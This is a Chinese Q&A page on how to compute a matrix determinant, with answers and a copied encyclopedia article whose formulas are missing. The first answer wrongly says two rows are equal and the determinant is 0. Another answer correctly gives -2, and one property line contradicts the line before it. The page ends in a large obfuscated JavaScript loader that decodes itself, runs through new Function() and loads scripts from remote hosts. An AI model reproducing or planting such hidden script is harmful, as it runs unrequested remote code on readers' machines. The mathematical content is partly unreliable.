矩阵的行列式怎么算
比如A=-1 1 0 的行列式是什么啊 -1 0 0 -1 0 -2
推荐回答(5个)
利用行列式的性质,
1.行列式的某一行(列)元素,加上另一行(列)的元素的k倍,行列式的值不变。
于是可以第一行加上第二行的1倍。
2.方阵有两行成比例,则行列式为0。
第一行和最后一行是相等的(成比例,1:1),所以行列式的值为0。


在线性代数,行列式是一个函数,其定义域为的矩阵A,值域为一个标量,写作det(A)。在本质上,行列式描述的是在n维空间中,一个线性变换所形成的“平行多面体”的“体积”。行列式无论是在微积分学中(比如说换元积分法中),还是在线性代数中都有重要应用。 行列式概念的最初引进是在解线性方程组的过程中。行列式被用来确定线性方程组解的个数,以及形式。随后,行列式在许多领域都逐渐显现出重要的意义和作用。于是有了线性自同态和向量组的行列式的定义。 行列式的特性可以被概括为一个n次交替线性形式,这反映了行列式作为一个描述“体积”的函数的本质。 若干数字组成的一个类似于矩阵的方阵,与矩阵不同的是,矩阵的表示是用中括号,而行列式则用线段。行列式的值是按下述方式可能求得的所有不同的积的代数和,既是一个实数:求每一个积时依次从每一行取一个元因子,而这每一个元因子又需取自不同的列,作为乘数,积的符号是正是负决定于要使各个乘数的列的指标顺序恢复到自然顺序所需的换位次数是偶数还是奇数。也可以这样解释:行列式是矩阵的所有不同行且不同列的元素之积的代数和,和式中每一项的符号由积的各元素的行指标与列指标的逆序数之和决定:若逆序数之和为偶数,则该项为正;若逆序数之和为奇数,则该项为负。 逆序数:在一个排列中,如果一对数的前后位置与大小顺序相反,即前面的数大于后面的数,那么它们就称为一个逆序。一个排列中逆序的总数就称为这个排列的逆序数。逆序数为偶数的排列称为偶排列;逆序数为奇数的排列称为奇排列。如2431中,21,43,41,31是逆序,逆序数是4,为偶排列。
[编辑本段]垂直线记法
矩阵 A 的行列式有时也记作 |A|。绝对值和矩阵范数也使用这个记法,有可能和行列式的记法混淆。不过矩阵范数通常以双垂直线来表示(如:),且可以使用下标。此外,矩阵的绝对值是没有定义的。因此,行列式经常使用垂直线记法(例如:克莱姆法则和子式)。例如,一个矩阵: 行列式 det(A) 也写作 | A | 或明确的写作: 即矩阵的方括号以细长的垂直线取代。
[编辑本段]定义
一个矩阵A的行列式有一个乍看之下很奇怪的定义: 其中sgn(σ)是排列σ的符号差。 对于比较小的矩阵,比如说二阶和三阶的矩阵,行列式表达如下,有些像是主对角线(左上至右下)元素的乘积减去副对角线(右上至左下)元素的乘积(见图中红线和蓝线)。 2阶: 3阶:。 但对于阶数较大的矩阵,行列式有 n! 项,并不是这样的形式。 二维向量组的行列式 行列式是向量形成的平行四边形的面积 设P是一个二维的有向欧几里得空间,即一个所谓的欧几里得平面。两个向量X和X’的行列式是: 经计算可知,行列式表示的是向量X和X ’形成的平行四边形的有向面积。并有如下性质: 行列式为零当且仅当两个向量共线(线性相关),这时平行四边形退化成一条直线。 如果以逆时针方向为正向的话,有向面积的意义是:平行四边形面积为正当且仅当向量X和X’逆时针排列(如图)。 行列式是一个双线性映射。也就是说, , 并且 。
三维向量组的行列式
设E是一个三维的有向欧几里得空间。三个三维向量的行列式是: 这时的行列式表示X、X’和X’’三个向量形成的平行六面体的有向体积,也叫做这三个向量的混合积。同样的,可以观察到如下性质: 行列式为零当且仅当三个向量共线或者共面(三者线性相关),这时平行六面体退化为平面图形,体积为零。 这时行列式是一个“三线性映射”,也就是说,对第一个向量有 ,对第二、第三个向量也是如此。
基的选择
在以上的行列式中,我们不加选择地将向量在所谓的正交基下分解,实际上在不同的基之下,行列式的值并不相同。这并不是说平行六面体的体积不唯一。恰恰相反,基的变换可以看作线性映射对基的作用,而不同基下的行列式代表了基变换对“体积”的影响。可以证明,对于所有同定向的标准正交基,向量组的行列式的值是一样的。也就是说,如果我们选择的基都是“单位长度”,并且两两正交,那么在这样的基之下,平行六面体的体积是唯一的。
线性变换
经线性映射后的正方体 设E是一个一般的n维的有向欧几里得空间。一个线性变换把一个向量线性地变为另一个向量。比如说,在三维空间中,向量(x,y,z)被射到向量(x’,y’,z’): 其中a、b、c等是系数。如右图,正方体(可以看作原来的一组基形成的)经线性变换后可以变成一个普通的平行六面体,或变成一个平行四边形(没有体积)。这两种情况表示了两种不同的线性变换,行列式可以将其很好地分辨出来(为零或不为零)。 更详细地说,行列式表示的是线性变换前后平行六面体的体积的变化系数。如果设左边的正方体体积是一,那么中间的平行六面体的(有向)体积就是线性变换的行列式的值,右边的平行四边形体积为零,因为线性变换的行列式为零。这里我们混淆了线性变换的行列式和向量组的行列式,但两者是一样的,因为我们在对一组基作变换。
[编辑本段]严格的定义
由二维及三维的例子,我们可以看到一般的行列式应该具有怎样的性质。为了描述一个n维空间中的“平行多面体”的“体积”,行列式首先需要是线性的,这可以由面积的性质得到。这里的线性是对于每一个向量来说的,因为当一个向量变为原来的a倍时,“平行多面体”的“体积”也变为原来的a倍。其次,当一个向量在其它向量组成的“超平面”上时,“平行多面体”的“体积”是零(可以想象三维空间的例子)。也就是说,当向量线性相关时,行列式为零。于是可以得出行列式的定义:
向量组的行列式
行列式是E到K上的交替多线性形式。 具体来说,设 E 是一个内积空间,一个从E到K上的交替多线性形式是指函数: (多线性) 或者说,当ai = aj 的时候 (交替性) 所有E到K上的交替多线性形式的集合记作 An(E) 。 定理: An(E) 的维度是1,也就是说,设是 E 的一组基,那么,所有的交替多线性形式都可以写成 其中是在基B下的展开。 定理的证明是对任一个多线性形式,考虑将D依照多线性性质展开, 这时,由交替性,当且仅当 是的一个排列,所以有 这里, 。 向量组的行列式设是 E 的一组基,基B 的行列式就是唯一的(由定理可知)交替多线性形式 使得: detB(e1,...,en) = 1 于是向量组 的行列式就是 其中是在基B下的展开。 这个公式有时被称作莱布尼兹公式。 基变更公式设B与B’是向量空间中的两组基,则将上式中的detB改为detB’就得到向量组在两组基下的行列式之间的关系:
矩阵的行列式
设Mn(K)为所有定义在K上的矩阵的集合。将矩阵 A 的元素为A=(aij)。将矩阵 M 的 n 行写成,aj 可以看作是上的向量。于是可以定义矩阵A的行列式为向量组的行列式,这里的向量都在的正交基上展开,因此矩阵的行列式不依赖于基的选择。 这样定义的矩阵 A 的行列式与向量组的行列式有同样的性质。单位矩阵的行列式为1,若矩阵的两行线性相关,则行列式为零。 由莱布尼兹公式,可以证明矩阵行列式的一个重要性质:一个矩阵的行列式等于它的转置矩阵的行列式。 也就是说矩阵的行列式既可以看作 n 个行向量的行列式,也可以看作 n 个列向量的行列式。 证明:矩阵 A 的转置矩阵的行列式是: 令j = σ(i),由于每个排列都是双射,所以上式变成: 令τ = σ ,当 σ 取遍所有排列时,τ 也取遍所有排列,而且 σ 的符号差等于 τ 的符号差。所以 线性映射的行列式设 f 是 n 维线性空间 E 到自身的线性变换(线性自同态),f 在 E 的任意一组基下的变换矩阵的行列式都是相等的。设 B 是 E 的一组基。那么 f 的行列式就是 f 在 B 下的变换矩阵的行列式: 之前对正方体做变换时, x1, ..., xn 是原来的基,,因此可以混淆向量组的行列式和线性变换的行列式。 考虑映射df,B使得 x1, ..., xn 被映射到 df,B 是一个交替n线性形式,因此由前面证的定理, df,B 和 detB 只相差一个系数。 令 x1, ..., xn 等于 B ,则得到 λ = df,B(B) 所以有 也就是说 对于另外一组基B' ,运用基变更公式,可以得到 du, B(B) 等于 du, B ' (B ' ) 。于是 df,B(B) 是一个不依赖于基,只依赖于 f 的数。这正是 detf 的定义。 特别地,行列式为 1 的线性变换保持向量组的行列式,它们构成一般线性群 GL(E) 的一个子群 SL(E) ,称作特殊线性群。可以证明, SL(E) 是由所有的错切生成的,即所有具有如下形式的矩阵代表的线性变换: 也就是说,错切变换保持向量组形成的“平行多面体”的体积。同样,可以证明两个相似矩阵有相等的行列式。
[编辑本段]应用
求特征值:若多项式p(x) = det(xI − A),矩阵A的特征值就是多项式的解。 多变元微积分的代换积分法(参见雅可比矩阵) 在n个n维实向量所组成的平行多面体的体积,是这些实向量的所组成的矩阵的行列式的绝对值。以此推广,若线性变换可用矩阵A表示,S是R的可测集,则f(S)的体积是S的体积的倍。 朗斯基行列式
[编辑本段]行列式的基本性质
概述
在行列式中,一行(列)元素全为0,则此行列式的值为0。 在行列式中,某一行(列)有公因子k,则可以提出k。 在行列式中,某一行(列)的每个元素是两数之和,则此行列式可拆分为两个相加的行列式。 行列式中的两行(列)互换,改变行列式正负符号。 在行列式中,有两行(列)对应成比例或相同,则此行列式的值为0。 将一行(列)的k倍加进另一行(列)里,行列式的值不变。 注意:一行(列)的k倍加上另一行(列),行列式的值改变。 将行列式的行列互换,行列式的值不变。其中,行列互换相当于转置,记作D = D。 例如
其它性质
若A是可逆矩阵, 设A‘ 为A的转置矩阵, (参见共轭) 若矩阵相似,其行列式相同。 行列式是所有特征值之积。这可由矩阵必和其Jordan标准形相似推导出。
[编辑本段]行列式的展开
余因式(英译:cofactor) 又称“余子式”、“余因子”。参见主条目 余因式 对一个 n 阶的行列式M,去掉M的第i行第j列后形成的 n-1 阶的行列式叫做M关于元素mij的子试。记作Mij。 余因式为 Cij=(-1)^(ij)*Mij
代数余子式
M关于元素mij的代数余子式记作Cij。。
行列式关于行和列的展开
一个 n 阶的行列式M可以写成一行(或一列)的元素与对应的代数余子式的乘积之和,叫作行列式按一行(或一列)的展开。 这个公式又称作拉普拉斯公式,把 n 阶的行列式计算变为了 n 个 n-1 阶行列式的计算。
行列式函数
由拉普拉斯公式可以看出,矩阵A的行列式是关于其系数的多项式。因此行列式函数具有良好的光滑性质。 单变量的行列式函数设为的函数,则也是的。其对t的导数为 矩阵的行列式函数函数是连续的。由此,n阶一般线性群是一个开集,而特殊线性群则是一个闭集。 函数也是可微的,甚至是光滑的()。其在A处的展开为 也就是说,在装备正则范数的矩阵空间Mn()中,伴随矩阵是行列式函数的梯度 特别当A为单位矩阵时, 可逆矩阵的可微性说明一般线性群GLn()是一个李群。
[编辑本段]应用
行列式与线性方程组
行列式的一个主要应用是解线性方程组。当线性方程组的方程个数与未知数个数相等时,方程组不一定总是有唯一解。对一个有 n 个方程和 n 个未知数的线性方程组,我们研究未知数系数所对应的行列式。这个线性方程组有唯一解当且仅当它对应的行列式不为零。这也是行列式概念出现的根源。 当线性方程组对应的行列式不为零时,由克莱姆法则,可以直接以行列式的形式写出方程组的解。但用克莱姆法则求解计算量巨大,因此并没有实际应用价值,一般用于理论上的推导。
行列式等于-2,过程如下

直接打格式不好编辑,我手写了答案,你看图片吧。
再插一句:给矩阵乘一个系数相当于给每个元素都乘以这个系数,而给行列式乘一个系数则是给一行或是一列乘以这个系数。
向左转|向右转
n阶行列式实质上是一个n^2元的函数,当把n^2个元素都代上常数时,自然得到一个数。当我们写的时候,写成一个表是为了方便的反映函数的物性。当然,决不是指任何n^2元函数都是行列式,具体的行列式函数定义你找书一看看。为了让你自己觉得好理解一些,你可以试着照行列式的定义把行列式写成多项式和的常见形式,当然那个形式比较复杂,但本质上与行列式是一样的,只是写成行列式易于直观的做各种运算处理。
矩阵就是一个数表,它不能从整体上被看成一个数(只有一个数的1阶矩阵除外),当矩阵的行数与列数相等为n时,我们把相应的数代入上面我提到的n^2元函数中就得到一个行列式。代入的方法则是简单的把两个表对应起来。
在作为一个数表的矩阵上,我们本可以任意的定义运算规则(真的是指你爱怎么定义就怎么定义),但是实际上我们多是把矩陈用于解决某些特殊类型的问题,所以你想要知道某种运算,比如乘法运算是怎么来的就得看年它们是做什么用的(比如用于线性变换)。
方阵才有行列式的值
且|A|= ∑ (-1)^τ(j1j2…j3)a1j1*a2j2*…*anjn
(j1j2…j3)
上面的是定义啦 具体什么意思也不懂 不过知道行列式的值有用就是了
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();